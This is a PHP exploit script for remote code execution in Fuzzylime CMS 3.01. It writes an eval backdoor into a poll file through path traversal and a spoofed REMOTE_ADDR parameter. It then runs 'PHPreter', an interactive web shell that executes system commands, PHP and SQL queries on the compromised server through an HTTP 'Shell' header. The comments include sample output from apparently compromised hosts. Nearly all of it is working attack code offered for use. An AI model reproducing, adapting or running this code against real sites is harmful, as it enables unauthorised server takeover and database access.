#!/usr/bin/php
<?php
##
## Fuzzylime 3.01 Remote Code Execution
## Credits: Inphex and real
##
## [C:\]# php fuzzylime.php http://www.target.com/fuzzylime/
## [target][cmd]# id
## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data)
##

$url = $argv[1];

get($url.'code/polladd.php?poll=....//titles&log=1&_SERVER[REMOTE_ADDR]=' . urlencode('";print "-:-:-";eval(stripslashes($_SERVER[\'HTTP_SHELL\']));print "-:-:-"; ?>') );

$shell = new phpreter($url.'code/polls/titles.inc.php', '-:-:-(.*)-:-:-', 'cmd', array(), false);

function get($url)
{
  $infos = parse_url($url);
  $host = $infos['host'];
  $port = isset($infos['port']) ? $infos['port'] : 80;
  
  $fp = fsockopen($host, $port, &$errno, &$errstr, 30);
  
  $req  = "GET $url HTTP/1.1\r\n";
  $req .= "Host: $host\r\n";
  $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
  $req .= "Connection: close\r\n\r\n";

  fputs($fp,$req);
  fclose($fp);
}

/*
 * Copyright (c) real
 *
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * TITLE:          PHPreter
 * AUTHOR:         Charles "real" F. <charlesfol[at]hotmail.fr>
 * VERSION:        1.0
 * LICENSE:        GNU General Public License
 *
 * This is a really simple class with permits to exec SQL, PHP or CMD
 * on a remote host using the HTTP "Shell" header.
 *
 *
 * Sample code:
 * [host][sql]# mode=cmd
 * [host][cmd]# id
 * uid=2176(u47170584) gid=600(ftpusers)
 * 
 * [host][cmd]# mode=php
 * [host][php]# echo phpversion();
 * 4.4.8
 * [host][php]# mode=sql
 * [host][sql]# SELECT version(), user()
 * --------------------------------------------------
 *  version()           | 5.0.51a-log
 *  user()              | dbo225004932@74.208.16.148
 * --------------------------------------------------
 * 
 * [host][sql]#
 *
 */

class phpreter
{
  var $url;
  var $host;
  var $port;
  var $page;
  
  var $mode;
  
  var $ssql;
  
  var $prompt;
  var $phost;
  
  var $regex;
  var $data;
  
  /**
   * __construct()
   *
   * @param url      The url of the remote shell.
   * @param regexp   The regex to catch cmd result.
   * @param mode     Mode: php, sql or cmd.
   * @param sql      An array with the file to include,
   *                 and sql vars
   * @param clear    Determines if clear() is called
   *                 on startup
   */
  function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
  {
    $this->url = $url;
    
    $this->regex = '#'.$regexp.'#is';
    
    #
    # Set data
    #
    
    $infos         =  parse_url($this->url);
    $this->host    =  $infos['host'];
    $this->port    =  isset($infos['port']) ? $infos['port'] : 80;
    $this->page    =  $infos['path'];
    unset($infos);
    
    # www.(site).com
    $host_tmp      =  explode('.',$this->host);
    $this->phost   =  $host_tmp[ count($host_tmp)-2 ];
    unset($host_tmp);
    
    #
    # Set up MySQL connection string
    #
    if(!sizeof($sql))
      $this->ssql = '';
    elseif(sizeof($sql)==5)
    {
      $this->ssql = "include('$sql[0]');"
                  . "mysql_connect($sql[1], $sql[2], $sql[3]);"
            . "mysql_select_db($sql[4]);";
    }
    else
    {
      $this->ssql = ""
                  . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
            . "mysql_select_db('$sql[3]');";
    }
    
    $this->setmode($mode);
    
    #
    # Main Loop
    #

    if($clear) $this->clear();
    print $this->prompt;

    while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
    {
      # change mode
      if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
        $this->setmode($array[3]);
      
      # clear data
      elseif(preg_match('#^clear$#i',$cmd))
        $this->clear();
      
      # else
      else print $this->exec($cmd);
      
      print $this->prompt;
    }
  }
  
  /**
   * clear()
   * Just clears ouput, printing '\n'x50
   */
  function clear()
  {
    print str_repeat("\n", 50);
    return 0;
  }
  
  /**
   * setmode()
   * Set mode (PHP, CMD, SQL)
   * You don't have to call it.
   * use mode=[php|cmd|sql] instead,
   * in the prompt.
   */
  function setmode($newmode)
  {
    $this->mode = strtolower($newmode);
    $this->prompt = '['.$this->phost.']['.$this->mode.']# ';
    
    switch($this->mode)
    {
      case 'cmd':
        $this->data = 'system(\'<CMD>\');';
        break;
      case 'php':
        $this->data = '';
        break;
      case 'sql':
        $this->data = $this->ssql
                    . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
              . 'print str_repeat("-",50)."\n";'
              . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
              . '{'
              .   'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
              .   'print str_repeat("-",50)."\n";'
              . '}';
        break;
    }
    return $this->mode;
  }

  /**
   * exec()
   * Execute any query and catch the result.
   * You don't have to call it.
   */
  function exec($cmd)
  {
    if(!strlen($this->data))  $shell = $cmd;
    else                      $shell = str_replace('<CMD>', addslashes($cmd), $this->data);
    
    $fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);
    
    $req  = "GET " . $this->page . " HTTP/1.1\r\n";
    $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
    $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    $req .= "Shell: $shell\r\n";
    $req .= "Connection: close\r\n\r\n";
    
    unset($shell);

    fputs($fp, $req);
    
    $content = '';
    while(!feof($fp)) $content .= fgets($fp, 128);
    
    fclose($fp);
    
    # Remove headers
    $data    = explode("\r\n\r\n", $content);
    $headers = array_shift($data);
    $content = implode("\r\n\r\n", $data);
    
    if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
      $content = $this->unchunk($content);
  
    preg_match($this->regex, $content, $data);
    
    if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";
    
    return $data[1];
  }
  
  /**
   * unchunk()
   * This function aims to remove chunked content sizes which
   * are putted by apache server when it uses chunked
   * transfert-encoding.
   */
  function unchunk($data)
  {
    $dsize  = 1;
    $offset = 0;
    
    while($dsize>0)
    {
      $hsize_size = strpos($data, "\r\n", $offset) - $offset;
      
      $dsize = hexdec(substr($data, $offset, $hsize_size));
      
      # Remove $hsize\r\n from $data
      $data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );
      
      $offset += $dsize;
      
      # Remove the \r\n before the next $hsize
      $data = substr($data, 0, $offset) . substr($data, ($offset+2) );
    }
    
    return $data;
  }
}

?>